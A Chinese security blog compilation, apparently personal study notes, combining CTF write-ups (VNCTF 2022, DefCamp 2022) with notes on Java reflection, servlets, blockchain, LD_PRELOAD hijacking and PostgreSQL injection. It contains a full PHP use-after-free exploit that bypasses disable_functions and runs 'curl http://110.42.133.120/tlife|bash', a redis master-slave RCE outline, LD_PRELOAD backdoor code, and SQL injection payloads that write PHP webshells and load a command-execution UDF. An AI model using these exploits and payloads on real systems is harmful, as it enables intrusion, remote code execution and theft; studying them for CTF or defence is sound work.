2022vnctf-rce小结

InterestingPHP

非预期——bypass_disable

<?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

测试了一下,可以使用file_put_contents,但是其他的命令执行不了

我们可以查看一下disable_function,但是由于phpinfo()用不了

var_dump(ini_get_all());

可以发现disable_function过滤了很多东西,应该就是要绕了

既然可以写入文件,先试试一些disable_function实现rce

https://github.com/mm0r1/exploits

这里有个思路也很巧妙,学习一下,就是通过发送文件的形式,这样的话,就不用一直使用file_put_contents去写文件命令执行,可以直接在一个页面

但是需要注意发送文件的格式

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 144

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

var_dump("a");
------WebKitFormBoundaryj28zfvoWVxnHdp29--

然后将rce的脚本贴过来,但是不能马上用,因为disable_function中过滤了fwrite,需要找替代,使用fputs,使用CVE-2021-4034进行提权

使用一个脚本上传一下,我一直在想如何将文件写入,因为怎么写好像都有问题。

其实可以将他放在服务器上,然后利用curl命令下载过去。又掌握一个新姿势。。。我还在一直用python脚本写,而且穿过去以后,我发现使用那边的gcc也没法编译成功。。。

所以我直接在服务器编译了,然后发送过去

img

完整命令执行内容

POST /?exp=eval($_POST[1]); HTTP/1.1
Host: c9be48e4-3f0c-4ebd-8cc6-ba5f826890d0.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c6332d1772a3-003cfe433760328-4c3e2679-144000-17c6332d178a88
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6949

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

pwn('curl http://110.42.133.120/tlife|bash ');

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
------WebKitFormBoundaryj28zfvoWVxnHdp29--

预期解:redis主从复制rce

写马进去以后,发现有一份redis的账号密码,那应该就是主从复制加载so文件了,想用插件直接试试,发现端口不是6379.猜测可能没开redis服务

学习一下:

利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件,接着载入恶意.so文件模块,反弹shell至远程主机

var_dump(get_loaded_extensions());

可以发现,加载了redis的插件,尝试运行一下开启服务
img

还需要找到开放的端口来打在redis服务,所以还需要扫描 一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}

这里有个小tip:写入文件的时候,转为base64写入就不用管转义的事了

$a="PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==";
file_put_contents("a.php",base64_decode($a));

接下来发现的步骤就还是提权了

java反射机制

如何理解反射

反射可以理解为一种手段,对象通过反射可以获取他的类,类可以通过反射获取他的所有方法,通过反射,我们可以将java这种静态语言附加上动态特性。

这种动态获取的信息以及动态调用对象的功能成为java语言的反射机制

如何理解动态特性

⼀段代码,改变其中的变量,将会导致这段代码产⽣功能性的变化

获取类对象的方法

1.forname()方法

通过动态修改forname的参数,可以获取不同的java类

并且其静态方法JVM会装在类,并且执行static()中的代码。

public class reflect_test {
public static void main(String[] args) throws ClassNotFoundException{
Class name= Class.forName("xxxx");
System.out.println(name);
}
}

2.直接获取

任何数据类型都具备静态的属性,因此可以使用.class直接获取其对应的class对象,需要明确用到类中的静态成员

public static void main(String[] args) throws ClassNotFoundException{
Class<?> name=Runtime.class;
System.out.println(name);
}

3.使用getclass()方法

我们可以通过object类中的getclass()方法来获取字节码对象
需要明确具体的类,然后创建对象

public static void main(String[] args) throws ClassNotFoundException{
Runtime rt= Runtime.getRuntime();
Class<?> name=rt.getClass();
System.out.println(name);
}

4.使用getSystemClassLoader().loadClass()

1.类似于forName()

但是不会执行static中的代码。

public static void main(String[] args) throws ClassNotFoundException{
Class<?> name=ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
System.out.println(name);
}

获取类的方法

1.getDeclaredMethods方法

getDeclaredMethods方法 返回类或接口声明的所有办法,包括public、protected、private、和默认方法,但不包括继承的方法

import java.lang.reflect.Method;
public class getfunction {
public static void main(String[] args) throws ClassNotFoundException{
Class name= Class.forName("java.lang.Runtime");
Method[] declaredMethods=name.getDeclaredMethods();
System.out.println("通过getDeclaredMethods获取的方法有:");
for(Method m:declaredMethods)
System.out.println(m);
}

2.getMethods方法

getMethods方法返回某个类的所有public方法,包括其继承类的public方法

public static void main(String[] args) throws ClassNotFoundException{
Class name= Class.forName("java.lang.Runtime");
Method[] declaredMethods=name.getMethods();
System.out.println("通过getMethods获取的方法有:");
for(Method m:declaredMethods)
System.out.println(m);
}

3.getMethod方法

只能返回一个特定的方法,如Runtime类中的exec方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应class的对象

public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException{
Runtime rt=Runtime.getRuntime();
Class<?> name= rt.getClass();
Method method=name.getMethod("exec",String.class);
System.out.println("通过getMethods获取的方法有:");
System.out.println(method);

}

4.getDeclaredMethod方法

getDeclaredMethod方法和getMethod类似

获取成员变量

1.getDeclaredFields方法

getDeclaredFields能获得类的成员变量数组,包括public、private、protected,但是不包括父类的声明字段

2.getFields方法

getFields能够获得某个类的所有public字段,包括父类中的字段,

3.getDeclaredField方法

只能获得类的单个成员变量

4.getField方法

类似getFields方法,能够获得某个类特定的public字段,包括父类中的字段

Class<?> name=student.getClass()
Field getField=name.getField("content");

小结

forName不是获取“类”的唯⼀途径,通常来说我们有如下三种⽅式获取⼀个“类”,也就是java.lang.Class对象:

obj.getClass() 如果上下⽂中存在某个类的实例obj,那么我们可以直接通过obj.getClass()来获取它的类
Test.class 如果你已经加载了某个类,只是想获取到它的java.lang.Class对象,那么就直接拿它的class属性即可。这个⽅法其实不属于反射。Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤forName来获取

java初探(二)

tomcat

写完的程序放在webapps

如何创建一个java web工程

servlet

java servlet 是运行在web服务器或应用服务器上的程序,它是作为来自web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层

功能
1.创建并返回基于客户请求的动态HTML页面
2.与数据库进行通信

如何制作映射 让客户端访问到java类

web.xml中,Servlet的配置在servlet标签中,有servlet和servlet-mapping标签组成,通过servlet-name实现

<servlet>:声明servlet配置入口
<description>:声明servlet描述信息
<display-name>:定义web应用名字
<servlet-name>:声明servlet名称以便在后面的映射时使用
<servlet-class>:指定当前servlet对应的类的路径
<servlet-mapping>:注册组件访问配置的路径入口
<servlet-name>:指定上文配置的servlet的名称
<url-pattern>:指定配置这个组件的访问路径

例:

<servlet>
<servlet-name>myservlet(java包名字)</servlet-name>
<servlet-class>路径</servlet-class>
<servlet-mapping>
<servlet-name>myservlet</servlet-name>
<url-pattern>声明浏览器访问的路径</url-pattern>
<servlet-mapping>

而在Servlet3.0以上的版本中,web.xml可以配置的servlet属性,都可以通过@WebServlet的方式进行配置

接口方法

init():初始化对象
service():执行实际任务的主要方法
doget()/dopost()
destory()接口:释放资源

java web过滤器——filter

filter是Servlet2.3新增的一个特性,能够实现对所有web资源的管理,实现权限访问控制,过滤敏感词汇,压缩响应信息等一些高级功能

配置方式:1.基于web.xml 2.基于注解方式

注意:使用注解方式配置filter,无法确定过滤器的执行顺序

filter实现流程

用户向服务器发送request请求,服务器接收改请求,并将请求按次序发送到filter中进行处理,最后调用servlet中的service()方法,调用完毕后,按照与进入时相反的顺序调用filter返回给服务器,最终返回给用户。

java初探(一)

对java进行远程调试

对jar包进行远程调试

1.创建一个java项目,并创建一个lib文件夹将jar包放入
2.进入lib文件夹后,右键选择 Add as Library
3.选择右上角的Add Configurations,并单击+号添加remote,其中

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

对weblogic进行远程调试

maven基础知识掌握

Maven是一个项目构建工具,采用Project Object Model概念来管理项目。

1.pom.xml文件介绍

该文件使用xml文件结构,用于管理源代码,配置文件,开发者的信息和角色,问题追踪系统,组织者信息,项目授权,项目的url,项目的依赖关系等。

maven项目中必须包含pom.xml文件。

2.pom.xml定义依赖关系

pom.xml文件中的dependencies和dependency用于定义依赖关系,

dependency通过groupId、artifactId、version来定义所依赖的项目。引入fastjson1.2.24版本组件的Maven配置信息

debugFlag=”true”
export debugFlag

区块链理论学习

../../../_images/IMG_5019.PNG

数据链和节点链

数据链指用链式结构组织区块数据,构成数据校验和追溯的链条;“节点链”指多个节点通过网络连接在一起,互相共享信息,其中的共识节点则联合执行共识算法,产生并确认区块。

针对溯源机制来说,生产商,运输商就相当于节点链,而需要上链的数据则是针对数据链而言,并且数据上链即为交易上链

交易“上链”的简要过程如下:

  1. 记账者们收录交易,按链式数据结构打包成“区块”。
  2. 共识算法驱动大家验证新区块里的交易,确保计算出一致的结果。
  3. 数据被广播到所有节点,稳妥存储下来,每个节点都会存储一个完整的数据副本。

共识机制

“共识机制”,是通过特殊节点的投票,在很短的时间内完成对交易的验证和确认;对一笔交易,如果利益不相干的若干个节点能够达成共识,我们就可以认为全网对此也能够达成共识。

智能合约

智能合约是一种特殊协议,旨在提供、验证及执行合约。具体来说,智能合约是区块链被称之为“去中心化的”重要原因,它允许我们在不需要第三方的情况下,执行可追溯、不可逆转和安全的交易。

智能合约是执行“如果发生这种情况就执行那种结果”的小程序,由大量计算机运行并验证以确保可信。

2022DefCamp CTF

web_intro

爆破flask_session的cookie

flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgYrAQ.--h0ihPw9_7i2FNqzJ-u-Oythjk"

img

爆破出密码以后,在加密

flask-unsign --sign --cookie "{'logged': True}" --secret 'password'

para-code

if (strlen($_GET['start']) < 5){
echo shell_exec($_GET['start']);
} else {
echo "Please enter a valid command";
}

四字符getshell

队里大师傅的解,收藏起来了

m4 *

后来师傅在群里说思路,确实有被震惊到,原来他是直接循环爆破两个字符,有回显的就可以了。。

import requests
import string
s=requests.session()
url="http://34.159.7.96:32210/"
a="0123456789abcdefghijklmnopqrstuvwxyz"
for i in a:
for j in a:
payload=f"?start={i}{j} *"
r=s.get(url+payload).text
if "$flag = " in r:
print(payload)
print(r)

确实是一个挺好的思路

LD_PRELOAD学习

前言

做题遇到这个东西,查了一下,原来是以前disable_functions的,但是没有深入研究过,现在看看。

LD_PRELOAD

在学习LD_PRELOAD前需要了解一下什么是链接

链接

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

我们在加载动态链接的时候,需要使用一个动态链接库,其作用在于当动态库中的函数发生变化时,对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。也就是说可执行程序虽然用得还是那些函数,但是可能函数的内容已经发生了变化,但是可执行程序将直接执行这个变化。但是如果这个动态加载的函数是恶意的(指的就是前面的变化),那么就会带来恶意的执行结果。

定义

1.LD_PRELOAD是linux系统中的一个环境变量
2.它可以影响程序的运行时的链接,允许你定义 :在程序运行前优先加载 的动态链接库。即可以有选择性的载入 不同动态链接库中的相同函数。

通过这个环境变量,我们可以在自定义加载动态链接库,甚至覆盖原本的正常函数库,以达到特定的目的。

LD_PRELOAD Hook

因为LD_PRELOAD可以指定在程序运行前的动态链接库,所我们可以重写程序运行过程中所调用的函数,并编译成动态链接库文件,然后通过修改LD_PRELOAD变量,让程序优先加载这个恶意动态链接库,最后当程序再次运行时便会加载动态链接库里的恶意函数。

具体步骤如下

1.定义与目标函数完全一样的函数,包括名称、变量、及类型返回值
2.将包含替换函数的源码编译为动态链接库
3.通过命令export LD_PRELOAD='库文件路径',设置要优先替换的动态链接库
4.替换结束,要还原函数调用关系,用命令unset LD_PRELOAD接触

实例:

在验证密码的时候,一般是使用strcmp进行对比,

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}

进行编译

gcc passcheck.c -o passcheck
img

改写一下strcmp同名函数,实现劫持功能:

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1,const char *s2)
if (getenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
  • 此时我们通过LD_PRELOAD劫持了strcmp函数,并启动了一个新进程,为避免陷入劫持循环,必须得删除LD_PRELOAD

执行命令编译生成ho*.so

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

然后通过设置环境变量,使得hook.strcmp.so能被调用它的程序优先加载

export LD_PRELOAD=$PWD/hook_strcmp.so

img

此时结果都为correct,也即劫持了strcmp函数

其实也很好理解,此时strcmp已经丧失原本对比的功能了,此时的strcmp的内部构造为,无论如何都返回0,然后经过!的取反处理,则变成了1.所以都是password correct

要还原的话使用

unset LD_PRELOAD

否则所有有调用此函数的命令都无法正常使用

LD_PRELOAD制作后门

根据上面的知识,我们可以知道,通过LD_PRELOAD可以动态替换一些已经定义好的函数,但是有几个问题,我们从头捋一下,我们要后门执行命令,就说明需要调用一个进程,然后再去定点修改这个进程所调用的函数。

看了一下,都有一下函数可以使用

img

先以ls为例,首先查看 ls 这一系统命令会调用哪些库函数:

readelf -Ws /usr/bin/ls

选择函数进行重写,但是不知道为啥这里查看不到,可能是版本问题吧

直接进行改写

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

此时替换成功

img

根据此思路 可以使用一些反弹shell的命令

实战

总结一下要使用LD_PRELOAD实现rce需要以下几点

1.具有设置环境变量的权限
2.可以启动新进程
3.能够上传文件(.so)

但是要找到一个函数去替换是比较困难的,所以可以使用 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在动态链接库中,那么一旦动态链接库被系统加载,将立即执行 __attribute__((constructor)) 修饰的函数。这样,我们就不用局限于仅劫持某一函数,而应考虑劫持动态链接库了,也可以说是劫持了一个新进程。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}

蚁剑插件脚本

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

一点思考

其实要想利用这个环境变量,最关键的还是要找到能够自启动的进程。

https://whoamianony.top/2021/10/22/Web%E5%AE%89%E5%85%A8/%E6%9C%89%E8%B6%A3%E7%9A%84%20LD_PRELOAD/

nodejs-express开发

1.全局安装express框架,cmd打开命令行,输入如下命令:

    npm install -g express

express 4.x版本中将命令工具分出来,安装一个命令工具,执行命令:

    npm install -g express-generator

 输入express --version验证

2.如果在执行js文件仍报Error: Cannot find module express错误。

解决办法:
在自己的工程目录下再次执行:
npm install express
————————————————
版权声明:本文为CSDN博主「mlsama」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/mlsama/article/details/80211033

postgresql注入

前言

总结一下一些注入姿势

基础语法

1.Postgres 都是大小写不敏感的

\h #查看所有的sql关键字
\? #命令行操作的帮助
\d #查看当前schema 中所有的表
\q #退出pg命令行
\d #schema.table 查看表的结构
\x #横纵显示切换
\dT+ #显示扩展类型相关属性及描述
\l #列出所有的数据库
\timing #显示执行时间
\c database_name #切换数据库
set search to schema #切换schema
explain sql #解释或分析sql执行过程

数据库之间的语言基本都是通用的,查询的时候重点关注的还是一些库的不同,例如current_database(),像like这些也是通用的s

注入点测试以及注入方法

postgresql的注入点可能会位于不同字句内

select

如果参数是整数:
pg_sleep(20); -- -
如果参数是字符串:
'||pg_sleep(20); -- -

注入方法:

1' UNION SELECT 'a';-- -'

union

'||password FROM users; -- -';

img

我们知道一般回显的是第一列,所以只需要让第一列不存在就行了

img

from

测试语句:

数字:
(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
字符串:
(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

注入语句为

(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

最终效果为:

SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

根据SELECT username FROM staff WHERE username SIMILAR TO 'M%'返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。

order by

注入点测试:是否延时

(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -

利用order by的true或者false

(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -
  1. 如果第一个COUNT函数没有返回零,那么对于ORDER BY,我们得到最终的true或false。
  2. 正确或错误取决于内部选择(第二个查询是核心判断的)。
  3. 内部选择将休眠20秒,或者什么也不返回。
  4. 这取决于人员表中用户的首字母是否以M开头(这是SELECT username FROM staff WHERE username SIMILAR TO 'M%'部分)。

HAVING

注入点测试

如果parameter是整数:
(COUNT((SELECT pg_sleep(20)))=1); -- -

如果parameter是字符串:
t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

此参数接受一个条件,因此我添加了一个AND运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值进行暴力破解。

t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -

同样,如果未显示输出,则可以使pg_sleep()函数的大部分时间睡眠(如果为true)20秒钟,并使用它来确定条件输出。

内置函数

current_database() //当前数据库名
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本

注入过程

爆库

and 1=2 union select (select current_database()),null,null--

img

获取表名,字段名

and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n--
and 1=2 union select column_name,null,null from information_schema.columns where table_name='admin' limit 1 offset n--
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名
select oid from pg_class wehre relname='admin'获取表的oid
select attname from pg_attribute where attrelid='oid的值' 获取字段名

获取数据

nd 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0--爆数据库用户密码

读写文件

老版本写文件:
create table beach(shell text)
insert into beach values('<?php eval($_POST[c])?>')
copy beach(shell) to '/var/www/html/shell.php'
drop table beach

#PS:copy (select '<?php eval($_POST[c])?>') to '/var/www/html/shell.php'

老版本读文件:
create table beach(shell text)
copy beach(shell) from '/etc/passwd'
select * from beach limit 1 offset n读每一行

实战:
登入后:
sql>select '<%execute request("v")%>';
sql>\o c:\\wwwroot\\1.asp
URL执行:
id=1;copy (select '<?php eval($_POST[c])?>') to '/var/www/html/shell.php'

新版本:
pg_file_write(filename,text,bool)
pg_read_file(filename,pos,length)
pg_ls_dir(dirname)

绕过转义: GPC=On时候 用$quote$代替单引号
如:select pwd from admin wehre user='beach'
成:select pwd from admin where user=$x$beach$x$

绕过

/**/ = " "
;-- - 忽略尾随数据

过滤引号

使用$符号

select $$test$$ ==  SELECT $quote$test$quote$; == select 'test'

在字符串拼接的时候采取CHR()函数:

SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH';

命令执行

1.利用 libc 中的 system() 函数

2.利用Perl/Python脚本语言功能

3.利用C语言自定义函数

查看Postgresql目录

SELECT setting FROM pg_settings WHERE name='data_directory';  

查询oid

select lo_creat(-1);

oid与上面保持一致;

delete from pg_largeobject where loid=18412;  

把十六进制的so文件导入

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));  
//这里略写了十六进制so文件的完整内容

利用postgresql自带函数将大型对象导出到文件

SELECT lo_export(18412, 'cmd.so');  

建立UDF

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;  

调用udf

select sys_eval('id');